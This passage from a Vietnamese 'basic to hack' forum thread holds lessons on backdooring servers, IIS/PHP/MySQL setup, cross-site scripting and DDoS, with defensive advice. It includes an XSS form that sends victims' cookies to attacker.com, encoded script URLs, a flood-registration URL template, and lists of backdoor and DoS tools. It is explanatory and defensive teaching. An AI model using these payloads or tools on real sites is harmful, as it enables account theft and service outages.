    <Bước 8> Creating Backdoors : Còn phải hỏi , bạn phải để lại 1 cái cổng sau , lần sau có vào thì dễ hơn chứ . Nếu không thành công , quay lại bước <4> xem lại các quyền của user bạn sử dụng . Công nghệ : Creat rogue user accounts , schedule batch jobs , infect startup files , plant remote control services , install monitoring mechanisms , replace apps with Trojan . Tools : members of wheel , administrators cron, At rc , Startup folder , registry keys , netcat , remote.exe , VNC , BO2K , keystroke loggers, add acct to secadmin mail aliases login , fpnwclnt.dll

    <Bước 9> Denial of Servies : 1 attacker không thành công với những gì anh ta đã làm ... họ sẽ tận dụng những exploits code để làm cho server ngừng hoạt động luôn , gọi đó là : tấn công từ chối dịch vụ . Công nghệ : SYN flood , ICMP techniques , Identical src/dst SYN requests , Overlapping fragment/offset bugs , Out of bounds TCP options ( OOB ) DDoS . Tools phụ trợ : synk4 , ping of death , smurf land , latierra , teardrop , bonk , newtear , supernuke.exe , trinoo/TFN/stacheldraht

    Thế đó , những bước hacker hay attacker làm với server khi họ muốn attack . Không đơn giản chút nào nhỉ ?
    Những tool trên , bạn có thể search ở các máy tìm kiếm như http://www.google.com/ , http://www.av.com/ ... với từ khoá là tên tôi đã cho .

  4. #4
    Thành viên K2-07 trungkieninfor's Avatar
    Join Date
    Dec 2007
    Location
    Bình Dương
    Posts
    628

    Default basic to hack

    bài 04 :
    Cấu hình máy chủ với IIS6, PHP5, MySQL4 trên WinServer 2003



    Các bạn có thể tham khảo thêm bài viết cấu hình HomeServer bằng Dynamic DNS có rất nhiều trên Forum HVA hoặc vào www.vnnic.net.vn để tham khảo chi tiết cách làm
    Trở lại bài viết của chúng ta, hiện nay như các bạn đã biết thì cái IIS5 có lỗi khá nghiêm trọng (điển hình là hàng loạt Web Site và Domain bị bay trong vài tháng gần đây) cho nên Công muốn khuyên các bạn nên cài cái IIS6 (trên WinServer2003, các bạn add thêm vào từ đĩa Setup)
    Các phần mềm sẽ sử dụng trong bài này:
    php 5.0.4 các bạn tải luôn 2 bản: bản installer để cài đặt cho dễ và bản .zip để về sau ta sẽ dùng tới các file.dll trong đó www.php.net
    MySQL 4.1.11 win32 www.mysql.com
    Các bạn lên websites download về đầy đủ nguyên liệu nấu nướng chưa ạ....
    Nào bây giờ chúng ta bắt đầu cooking thôi ^_&:

    Tớ giả sử rằng các bạn đã add thêm component IIS6 vào Windows Server 2003 một cách ngon lành.Và bây giờ chúng ta muốn website của ta được được viết bằng ngôn ngữ PHP và có Phpmyadmin để quản trị CSDL.
    Let go --->
    B1: cài đặt PHP
    chạy file php-5.0.4-íntaller.exe
    chú ý file php.ini được tạo ra trong thư mục Windows
    B2: test thử xem cái PHP này chạy không để còn tính tiếp ^_:
    bạn tạo file phpinfo.php với nội dung như sau:

    QUOTE
    Code:
    <? phpinfo(); ?>


    Chép vào thư mục chứa Web trên máy của bạn,
    okie, bật trình duyệt lên wính vào: http://localhost/phpinfo.php
    -----> không như ý muốn rồi , có vẻ như IIS không hiểu file.php là cái giống gì
    Khi đó mục tiêu của chúng ta là config IIS6 để nó hiểu PHP5


    Rồi Giờ Mục tiêu kế tiếp: Cấu hình IIS hỗ trợ PHP

    Chúng ta đã cùng nhau cài cái IIS6 và sau đó là PHP5 vào Windows Server 2003
    Sau đó ta chạy hàm phpinfo trong file phpinfo.php thì thấy rằng báo rằng "page can not display" hay thậm chí sẽ không cho down load luôn file phpinfo.php về, vì sao IIS lại " đối xử " như thế đối với file .php khi mà rõ ràng ta đã cài đặt trình thông dịch PHP vào rồi.
    Để hiểu được điều này chúng ta sẽ xem wa một chút cơ chế làm việc của IIS .
    Khi nhận được request từ client đến 1 file nào đó (có phần mở rộng xác định, vd:.php,.asp,...) , IIS không thể tự ý xử lý một cách tùy tiện mà nó sẽ phải xem coi mình đã được chỉ đạo như thế nào.
    Trong trường hợp này, chúng ta hoàn toàn chưa cho IIS biết nó sẽ phải làm gì khi đụng phải "thằng" file có đuôi là
    .php ----->"không ra lệnh thì tui ngồi chơi xơi nước cho khỏe"
    Để ngăn anh chàng nhân viên này trốn việc ta quy định cụ thể luôn cho hắn như sau: "Khi nhận được yêu cầu file *.php, anh bạn hãy chuyễn ngay file ấy cho đồng nghiệp là Trình thông dịch (TTD) PHP xử lý, sau khi nhận được kết quả trả về dưới dạng html thì hãy trả về cho client đả gửi request!
    "
    Và sau đây là các bước cụ thể để ra lệnh cho IIS:
    Các bạn chỉnh sửa các thông số như trong hình nhé:
    B1:Home Directory (chú ý thư mục c:\Web là thư mục gốc trên Web Server)





    B2:Permission cho thư mục Web



    B3:Chọn Application Extension




    B4:Web Service Extensions




    Okie, sau khi làm xong các bước trên các bạn hãy view lại file phpinfo.php để xem các thông tin trên Web Server.Được rồi đó...
    ^-^
    Bây giờ bạn search thử chữ mysql trên trình duyệt đang hiển thị phpinfo.php.
    Kết quả: không tìm thấy
    Okie
    TIếp theo chúng ta sẽ tiếp tục công việc install MySql4 lên Home Server của mình ^-&

    CÒN TIẾP...... Cài đặt Cơ sở dữ liệu (CSDL) MySQL4 cho PHP5

    Cụ thể trong bài này, tớ đã test với mysql-essential-4.1.11-win32.msi
    Các bạn Download về sau đó cài đặt bình thường.
    (nếu muốn cấu hình lại trong các lần chạy sau thì chạy file MySQL\bin\MySQLInstanceConfig.exe , giả sử cài cài đặt MySQL vào thư mục MySQL)
    Xong xuôi, bây giờ ta ung dung view lại cái trang phpinfo.php lúc trước, search thử Table của mysql trên trình duyệt đang hiển thị phpinfo.php
    Lạ wa', vẫn không thấy gì
    Điều đó chứng tỏ PHP vẫn không biết đến sự có mặt của MySQL .
    Đối với các phiên bản PHP trước đây (4,3,..) thì sau khi làm xong các bước trên chắn chắn sẽ search ra nguyên table của mysql.
    Vậy vấn đề nằm ở đâu?
    Thì ra, kể từ các phiên bản PHP 5 trở đi các nhà lập trình sáng tạo ra ngôn ngữ PHP đã quyết định không mặc định cho PHP xài CSDL MySQL như trước.
    Vậy ta phải làm sao đây?
    Bạn con nhớ file php.ini được tạo ra trong thư mục Windows, và php bản .zip mà tớ nói bạn tải về chứ, đã đến lúc mò đến nó
    Sau đây là các bước cụ thể để nói cho PHP biết :có "anh bạn" CSDL MySQL trên đời và "anh" hãy "hợp tác" với "anh ấy" để "làm ăn" ^-^ :
    B1: Giải nén bản PHP .zip , copy file libmySQL.dll vào thư mục WINDOWS
    B2:copy file php_mysql.dll vào thư mục cài đặt PHP (giả sử "D:\Program\PHP\")
    B3: Mở file php.ini :
    _sửa lại extension_dir ="D:\Program\PHP\"
    _Bỏ dấu ; trước dòng extension=php_mysql.dll
    Ok
    Lập lại thao tác view cái trang phpinfo.php, rồi search thử chữ mysql trên trình duyệt bạn sẽ thấy 1 table được dành riêng cho MySQL đang hiển thị

    Đến đây mọi thao tác cài đặt và cấu hình WebServer hỗ trợ PHP đã xong.
    Các lần cài đặt lại (nếu có) về sau ta chỉ cần nhớ 3 bước:
    B1: cài đặt IIS
    B2: cài đặt PHP và cấu hình cho IIS nhận biết PHP
    B3: cài đặt MySQL và cấu hình cho PHP nhận biết MySQL

  5. #5
    Thành viên K2-07 trungkieninfor's Avatar
    Join Date
    Dec 2007
    Location
    Bình Dương
    Posts
    628

    Default basic to hack

    bài 05:
    Sơ lược về kĩ thuật tấn công CROSS-SITE SCRIPTING

    #
    # Giới thiệu sơ lược về kĩ thuật tấn công CROSS-SITE SCRIPTING
    # Vietnamese Version - Luke - HVA Copyrighted
    # 07/27/03
    #

    Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. Trong bài viết này tôi sẽ đề cập sơ lược tới XSS với một số kinh nghiệm của tôi qua kĩ thuật tấn công này.

    1. XSS là gì ?
    Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.
    Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến nhất của Web Applications và mối đe doạ của chúng đối với người sử dụng ngày càng lớn. Người chiến thắng trong cuộc thi eWeek OpenHack 2002 là người đã tìm ra 2 XSS mới. Phải chăng mối nguy hiểm từ XSS đã ngày càng được mọi người chú ý hơn.

    2. XSS hoạt động như thế nào ?
    Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như là


    Code:

    Code:
    http://www.example.com/search.cgi?query=<script>alert('XSS was found !');</script>




    Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !".
    Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ <script>. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS.
    Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server.
    Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm ..

    3. Cảnh giác với XSS
    Có lẽ không cần liệt kê những nguy hiểm của XSS, nhưng trên thực tế nếu bạn có một chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa. Thật vậy bạn hoàn toàn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó.
    Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm các website khác khi các lệnh HTML được hiển thị. Ví dụ như BadTrans Worm một loại worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay Outlook Express:

    Code:

    Code:
    --====_ABC1234567890DEF_====
    
       Content-Type: multipart/alternative;
    
               boundary="====_ABC0987654321DEF_===="
    
     
    
     --====_ABC0987654321DEF_====
    
       Content-Type: text/html;
    
                charset="iso-8859-1"
    
       Content-Transfer-Encoding: quoted-printable
    
     
    
     
    
       <HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
    
       <iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
    
       </iframe></BODY></HTML>
    
     --====_ABC0987654321DEF_====--
    
     
    
     --====_ABC1234567890DEF_====
    
       Content-Type: audio/x-wav;
    
                name="filename.ext.ext"
    
       Content-Transfer-Encoding: base64
    
       Content-ID: <EA4DMGBP9p>

    Đôi khi đang đọc thư bạn bị chuyển sang một website khác, bạn có nghĩ rằng bạn có thể mất mật khẩu. Trước đây, hàng loạt các hộp thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư mà không rõ nguyên nhân. Có lẽ khi đó các bạn mở các bức thư mà không hề cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây nguy hiểm cho bạn. Chỉ cần với một đoạn mã HTML gửi trong thư bạn đã hoàn toàn bị mất cookie của mình:

    CODE

    Code:
    <form action="http://attacker.com/save.asp" method="post" name="XSS">
    
     <input type="hidden" name="cookie">
    
     </form>
    
     <img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg">

    Vậy là khi bạn nhận thư, và nếu bạn vô tình đưa con chuột qua bức ảnh gửi kèm thì cũng có nghĩa là bạn đã bị lấy mất cookie. Và với cookie lấy được, các hacker có thể dễ dàng login hòm thư của bạn mà không cần biết mật khẩu của bạn. Thực sự tôi cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn được hầu hết các mối đe doạ từ các thẻ HTML lại bỏ qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo đã kịp thời vá lỗ hồng nghiêm trọng này, nhưng không phải vì vậy mà bạn mất cảnh giác với những "lỗi" của website.
    Nếu như bạn gặp một liên kết có dạng

    Code:
    http://example.com/search.cgi?query=<script>alert(document.cookie)</script>



    chắc chắn bạn sẽ phải xem xét kĩ trước khi click vào. Có thể là sẽ tắt JavaScript cho trình duyệt của bạn trước khi click vào hay ít nhất cũng có một chút cảnh giác. Nhưng nếu bạn gặp một liên kết như thế này thì sao :

    Code:

    Code:
    http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C%73%63%72%69%70%74%3E%61%6C%65%61%72%74%28%64%63%75%6D%65%6E%6C%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E]http://example.com/search.cgi?%71%75%65%61...%72%69%70%74%3E

    Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá. Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì. Bởi vậy bạn có thể sẽ gặp phải các đoạn mã nguy hiểm nếu như bạn mất cảnh giác với XSS.
    Tât nhiên còn rất nhiều những kiểu tấn công khác, trong đó có những kiểu đã được tìm ra có những kiều chưa lường hết được, những trong khuôn khổ bài viết này tôi hi vọng với một vài ví dụ vừa rồi, các bạn cũng đã hiểu phần nào về XSS.

    4. Phát hiện XSS bằng cách nào ?
    Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com,... Tuy nhiên nếu các website được tự viết mã nguồn thì bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó.
    Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows.

    5. Ngăn ngừa XSS như thế nào ?
    Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này.
    OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng bạn nên
    + Chỉ chấp nhận những dữ liệu hợp lệ.
    + Từ chối nhận các dữ liệu hỏng.
    + Liên tục kiểm tra và thanh lọc sữ liệu.
    Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để giải quyết.
    Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Trong trường hợp này thẻ <script> sẽ được đổi thành <script>. Như vậy nó sẽ vẫn được in ra màn hình mà không hề gây nguy hiểm cho người sử dụng.
    Tôi lấy ví dụ với script search.cgi với mã nguồn là


    Code:

    Code:
    #!/usr/bin/perl
    
            use CGI;
    
     
    
            my $cgi = CGI->new();
    
            my $query = $cgi->param('query');
    
     
    
            print $cgi->header();
    
            print "You entered $query";

    Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu được nhập vào. Dĩ nhiên là khi in ra, nó sẽ in ra dưới dạng đoạn mã HTML, như thế nó không chỉ không in ra chính xác những dữ liệu vào một cách trực quan mà còn có tiềm ẩn lỗi XSS.
    Như đã nói ở trên, để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự đặc biệt của HTML với hàm HTML::Entities::encode(). Như vậy ta có thể có một mã nguồn hoàn hảo hơn như sau:


    Code:

    Code:
    #!/usr/bin/perl
    
            use CGI;
    
            use HTML::Entities;
    
     
    
            my $cgi = CGI->new();
    
            my $text = $cgi->param('text');
    
     
    
            print $cgi->header();
    
            print "You entered ", HTML::Entities::encode($text);

    Tất nhiên với phương pháp này bạn cũng có thể áp dụng đối với các ngôn ngữ Web Application khác (ASP, PHP...). Để kiểm tra việc lọc và mã hoá dữ liệu trước khi in ra, các bạn có thể dùng một chương trình được viết bằng ngôn nhữ PHP, đặc biệt nó được thiết kế để phòng chống các lỗi XSS. Bạn có thể lấy mã nguồn chương trình từ http://www.mricon.com/html/phpfilter.html
    Lọc và mã hoá các dữ liệu cho vấn là cách tốt nhất để chống XSS nhưng nếu bạn đang sử dụng mod_perl trên Apache Server thì bạn có thể dùng ngay module Apache::TaintRequest. Khi đó mã nguồn chương trình sẽ có dạng :


    Code:

    Code:
    use Apache::TaintRequest;
    
     
    
            my $apr = Apache::TaintRequest->new(Apache->request);
    
            my $text = $apr->param('text');
    
     
    
            $r->content_type("text/html");
    
            $r->send_http_header;
    
     
    
            $text =~ s/[^A-Za-z0-9 ]//;
    
            $r->print("You entered ", $text);


    Kĩ thuật XSS được mô tả lần đầu tiên cách đây 2 năm và hầu hết các khả năng tiềm ẩn của kĩ thuật này đã được biết đến. Tuy nhiên chúng ta mới chỉ khắc phục được một phần của nó. Không phải vô tình mà Yahoo Mail lại để sót một lỗi XSS trong bộ lọc của mình. Một phương pháp tối ưu vẫn còn đang ở phía trước.

  6. #6
    Thành viên K2-07 trungkieninfor's Avatar
    Join Date
    Dec 2007
    Location
    Bình Dương
    Posts
    628

    Default basic to hack

    bài 06:
    Tiêu đề: Tấn công bằng DDOS



    DDOS - Distributed Denial Of Service ?

    • 1998 Chương trình Trinoo Distributed Denial of Service (DDoS) được viết bởi Phifli.
    • Tháng 5 – 1999 Trang chủ của FBI đã ngừng họat động vì cuộc tấn công bằng (DDOS)
    • Tháng 6 – 1999 Mạng Trinoo đã được cài đặt và kiểm tra trên hơn 2000 hệ thống.

    DDOS – Distributed Denial Of Service ?

    • Cuối tháng 8 đầu tháng 9 năm 1999, Tribal Flood Network đầu tiiên ra đời, Chương trình được Mixter Phát triển.
    • Cuối tháng 9 năm 1999, Công cụ Stacheldraht đã bắt đầu xuất hiện trên những hệ thống của Châu âu và Hoa kỳ.
    • Ngày 21 tháng 10 năm 1999 David Dittrich thuộc trường đại học Washington đã làm những phân tích về công cụ tấn công từ chối dịch vụ

    DDOS - Distributed Denial Of Service ?

    • Ngày 21 tháng 12 năm 1999 Mixter phát hành Tribe Flood Network 2000 ( TFN2K ).
    • 10 : 30 / 7 – 2 -2000 Yahoo! ( Một trung tâm nổi tiếng ) đã bị tấn công từ chối dịch vụ và ngưng trệ hoạt động trong vòng 3 giờ đồng hồ. Web site Mail Yahoo và GeoCities đã bị tấn công từ 50 địa chỉ IP khác nhau với nhửng yêu cầu chuyễn vận lên đến 1 gigabit /s.

    DDOS - Distributed Denial Of Service ?

    • 8 -2 nhiều Web site lớn như Buy.com, Amazon.com, eBay, Datek, MSN, và CNN.com bị tấn công từ chối dịch vụ.
    • Lúc 7 giờ tối ngày 9-2/2000 Website Excite.com là cái đích của một vụ tấn công từ chối dịch vụ, dữ liệu được luân chuyễn tới tấp trong vòng 1 giờ cho đến khi kết thúc, và gói dữ liệu đó đã hư hỏng nặng.

    DDOS - Distributed Denial Of Service?

    • Qua đó ta có thể thấy rõ những vụ tấn công từ chối dịch vụ (Denial Of Services Attack ) và những cuộc tấn công về việc gửi nhửng gói dữ liệu tới máy chủ (Flood Data Of Services Attack) tới tấp là những mối lo sợ cho nhiều mạng máy tính lớn và nhỏ hiện nay,

    DDOS - Distributed Denial Of Service?

    • Khi một mạng máy tính bị Hacker tấn công nó sẽ chiếm một lượng lớn tài nguyên trên server như dung lượng ổ cứng, bộ nhớ, CPU, băng thông …. Lượng tài nguyên này tùy thuộc vào khả năng huy động tấn công của mỗi Hacker. Khi đó Server sẽ không thể đáp ứng hết những yêu cầu từ những client của những người sử dụng và từ đó server có thể sẽ nhanh chóng bị ngừng hoạt động, crash hoặc reboot.

    DDOS - Distributed Denial Of Service?

    • Tấn công từ chối dịch vụ có rất nhiều dạng như Ping of Death, Teardrop, Aland Attack, Winnuke, Smurf Attack, UDP/ICMP Flooding, TCP/SYN Flooding, Attack DNS.

    DDOS - Distributed Denial Of Service?
    • Ping Of Death.
    Một số máy tính sẽ bị ngưng họat động, Reboot hoặc bị crash khi bị nhận những gói dữ liệu ping có kích thước lớn.
    • Ví dụ như : ping địachỉ -n 1000
    trong đó : số 1000 là số lần gửi gói dữ liệu.
    • TCP/SYN Flooding:
    Bước 1: Khách hàng gửi một TCP SYN packet đến cổng dịch vụ của máy chủ
    Khách hàng =è SYN Packet ===è Máy chủ

    DDOS - Distributed Denial Of Service?

    • Bước 2 : Máy chủ sẽ phản hồi lại khách hàng bằng 1 SYN/ACK Packet và chờ nhận một 1 ACK packet từ khách hàng
    Máy chủ è SYN/ACK Packet è Khách hàng
    • Bước 3: Khách hàng phản hồi lại Máy chủ bằng một ACK Packet và việc kết nối hòan tất Khách hàng và máy chủ thực hiện công việc trao đổi dữ liệu với nhau.
    Khách hàng è ACK Packet è Máy chủ

    DDOS - Distributed Denial Of Service?

    • Trong trường hợp Hacker thực hiện việc SYN Flooding bằng cách gửi tới tấp, hàng loạt TCP SYN packet đến cổng dịch vụ của máy chủ sẽ làm máy chủ bị quá tải và không còn khả năng đáp ứng được nữa.

    DDOS - Distributed Denial Of Service?

    • UDP/ICMP Flooding:
    Hacker thực hiện bằng cách gửi 1 số lượng lớn các gói tin UDP/ICMP có kích thước lớn đến hệ thống mạng, khi hệ thống mạng chịu phải sự tấn công này sẽ bị qua tải và chiếm hết băng thông đường truyền đi ra bên ngòai của mạng này, vì thế nó gây ra nhửng ảnh hưởng rất lớn đến đường truyền cũng như tốc độ của mạng, gây nên những khó khăn cho khách hàng khi truy cập từ bên ngoài vào mạng này.

    DDOS - Distributed Denial Of Service?

    • Những điều kiện đủ để có những cuộc tấn công DoS Có hiệu quả:
    Để có được những cuộc tấn công DOS có hiệu quả thông thường một Hacker phải lựa chọn cho mình những đường truyền có dung lượng lớn cũng như tốc độ máy được dùng làm công cụ tấn công. Nếu không hội tụ được những điều kiện trên thì cuộc tấn công sẽ không mang lại mấy khả quan.

    DDOS - Distributed Denial Of Service?

    • Nhưng với những tiện ích như Trinoo, TFN2K, Stacheldraht… người tấn công không phải chỉ dùng 1 nơi để tấn công mà sử dụng nhiều mạng lưới khác nhau để thực hiện việc tấn công đồng lọat. Các máy được dùng để tấn công thường là các máy có kết nối Internet bị người tấn công xâm nhập.

    DDOS - Distributed Denial Of Service?

    • Qua đó chúng tôi đã tham khảo và biết một số cách nhưng hầu hết không chống được một cách triệt để.
    1> Khi bạn phát hiện máy chủ mình bị tấn công hãy nhanh chóng truy tìm địa chỉ IP đó và cấm không cho gửi dữ liệu đến máy chủ.
    2> Dùng tính năng lọc dữ liệu của router/firewall để loại bỏ các packet không mong muốn, giảm lượng lưu thông trên mạng và tải của máy chủ.

    DDOS - Distributed Denial Of Service?

    • 3> Sử dụng các tính năng cho phép đặt rate limit trên router/firewall để hạn chế số lượng packet vào hệ thống.
    • 4> Nếu bị tấn công do lỗi của phần mềm hay thiết bị thì nhanh chóng cập nhật các bản sửa lỗi cho hệ thống đó hoặc thay thế.
    • 5> Dùng một số cơ chế, công cụ, phần mềm để chống lại TCP SYN Flooding.

    DDOS - Distributed Denial Of Service?

    • 6> Tắt các dịch vụ khác nếu có trên máy chủ để giảm tải và có thể đáp ứng tốt hơn. Nếu được có thể nâng cấp các thiết bị phần cứng để nâng cao khả năng đáp ứng của hệ thống hay sử dụng thêm các máy chủ cùng tính năng khác để phân chia tải.
    • 7> Tạm thời chuyển máy chủ sang một địa chỉ khác.

    Flooding Data Attack ?

    • Hoàn toàn khác với DDos về khả năng tấn công cũng như sự huy động tấn công rất dễ dàng để làm tràn ngập dữ liệu (Flood data attack !) được phát triển ở rất nhiều dạng nó dựa vào những lỗi của hầu hết các mã nguồn mở của ASP, PHP, JSP, CGI …..

    Flooding Data Attack ?

    • Với DDOS như chúng ta đã biết khi một số Hacker muốn mở những cuộc tấn công đều phải hội tụ những điều kiện, là phải dùng những máy chủ có đường truyền cao và thường thì phải Hack vào server đó mới có thể huy động làm công cụ tấn công được, ngược lại với Flood data attack việc huy động quá dễ, nó chia ra làm 2 dạng tấn công như sau:

    Flooding Data Attack ?

    • Dạng 1: Được chạy trên trên môi trường Windonw, Unix, Linux …
    • Dạng 2: Được đính kèm trên các Website và nhận lệnh tấn công từ một địa chỉ nào đó trên Mạng toàn cầu.

    Flooding Data Attack ?
    • Dạng 1.
    Với kích thước từ 500 byte đến 1Kb các Hacker dễ dàng đính kèm vào một Website nào đó có nhiều người hiện đang có mặt truy cập trên Website đó.

    Flooding Data Attack ?

    với đọan mã trên ta có thể thấy Hacker đã đặt kích thước tập tin Flooddata.swf ở chế độ Chiều rộng (width) là bằng 0 và chiều cao (height) cũng bằng 0 như thế tập tin này sẽ không thể hiển thị được trên trên trang Web đó

    Flooding Data Attack ?
    Khi người sử dụng vào Website này lập tức sẽ kích họat chương trình Flood Data Attack ! của Hacker tại địa chỉ là http://noitancong.com/filedata.swf và Hacker cũng dễ dàng điều khiển chương trình bằng 1 file nguồn ở 1 Website nào đó của Hacker trên mạng mà Hacker đó đặt ra trong chương trình Flooding data Attack.

    Flooding Data Attack ?
    • Hacker có thể kiểm soát được số người hiện đang kích hoạt chương trình Flood data của mình trên Website đó và khi nào Hacker cảm thấy số lượng người đang kích hoạt chương trình đã đủ để việc tấn công một Website nào đó trên mạng thành công thì công việc đó có thể được bắt đầu.

    Flooding Data Attack ?
    • Ví dụ như hacker vào một địa chỉ như http://www.vbuleetin.com để thực hiện công việc tấn công trang này hacker cần phải tìm những nơi có sự trao đổi dữ liệu cho nhau như Register, Search, Login, Sendmail ….. Sau khi đã thu thập được những thành phần trên Hacker bắt đầu thực hiện lấy nhửng đầu vào(input) và gán nhửng giá trị đầu vào trên lên nơi điều khiển của chương trình Flood data attack!.

    Flooding Data Attack ?

    • Url=http://www.vbuleetin.com/register.php&username=user+random(999999999)&password=flood&passwordconfim=password&email=random(100000000)+@vbulleetin.com
    Trong đó Url là giá trị của Website bị tấn công, Username với giá trị là một user nào đó do hacker đặt ra và cộng với biến ngẫu nhiên ở sau mỗi user mà hacker đặt ra là khác nhau.

    Flooding Data Attack ?

    • Một khi Website này bị tấn công, toàn bộ họat động của Server chứa Website đó sẽ bị hậu quả rất ngiêm trọng tùy theo số lượng người kích họat vào chương trình Flood data attack! Của hacker đó, Lúc này những phần bị ảnh hưởng sẽ là MailServer, MySQL, PHP, Apache, FTP….

    Flooding Data Attack ?

    • Đối với MySQL : Khi bị Flood data attack! Những yêu cầu sẽ được gửi liên tục đến Server và được chuyển qua MySQL xử lý với số lượng lớn và nối tiếp nhau cho đến khi quá tải chương trình MySQL sẽ hòan toàn bị vô tác dụng song song với việc ảnh hưởng đến MySQL là việc ảnh hưởng đến MailServer.

    Flooding Data Attack ?

    Với giá trị là random(100000000)+@vbuleetin.com thì khi thực thi nó sẽ gửi từ ‘1@vbuleetin.com’ cho đến ‘100000000@vbuleetin.com’ tất nhiên nhửng email này sẽ không có thực đối với trang chủ của Website ‘http://www. vbuleetin.com.

    Flooding Data Attack ?

    • Đối với sẽ nhửng địa chỉ email này MailServer đưa vào danh sách “Msgs Failed” nhưng với giá trị là @vbulletin.com thì hầu hết một nhà cung cấp “domain” và “hosting” sẽ chuyển về một số email mặc định như là postmaster, admin, administrator, supervisor, hostmaster, webmaster.

    Flooding Data Attack ?

    Những Hacker có thể lợi dụng những Form mail trong việc trao đổi thông tin giữa khách hàng với chủ cung cấp dịch vụ để thực hiện những cuộc tấn công, những cuốc tấn công này thường rất nguy hiễm vì có thể trong 1 giây Hacker thực hiện từ 100 lần đến hàng nghìn lần với những yêu cầu SendEmail từ 1 user trên server đó đến MailServer.

    Flooding Data Attack ?

    • Dạng 2: Được chạy dưới dạng file.exe với dạng thức này thì khả năng tấn công vẫn giống như cách tấn công nằm trên website nhưng khả năng tấn công được nâng thêm nhiều dạng như Ping, Flood Ftp, Flood Smtp… tùy vào khả năng phát triển của Hacker.

    Flooding Data Attack ?

    Cũng giống như chương trình Flood data attack! Được gắn trên website dạng .exe này cũng được điều khiển từ 1 Website. Thường thì nơi điều khiển được đặt chung 1 nơi để tiện cho việc điều khiển.

    Flooding Data Attack ?

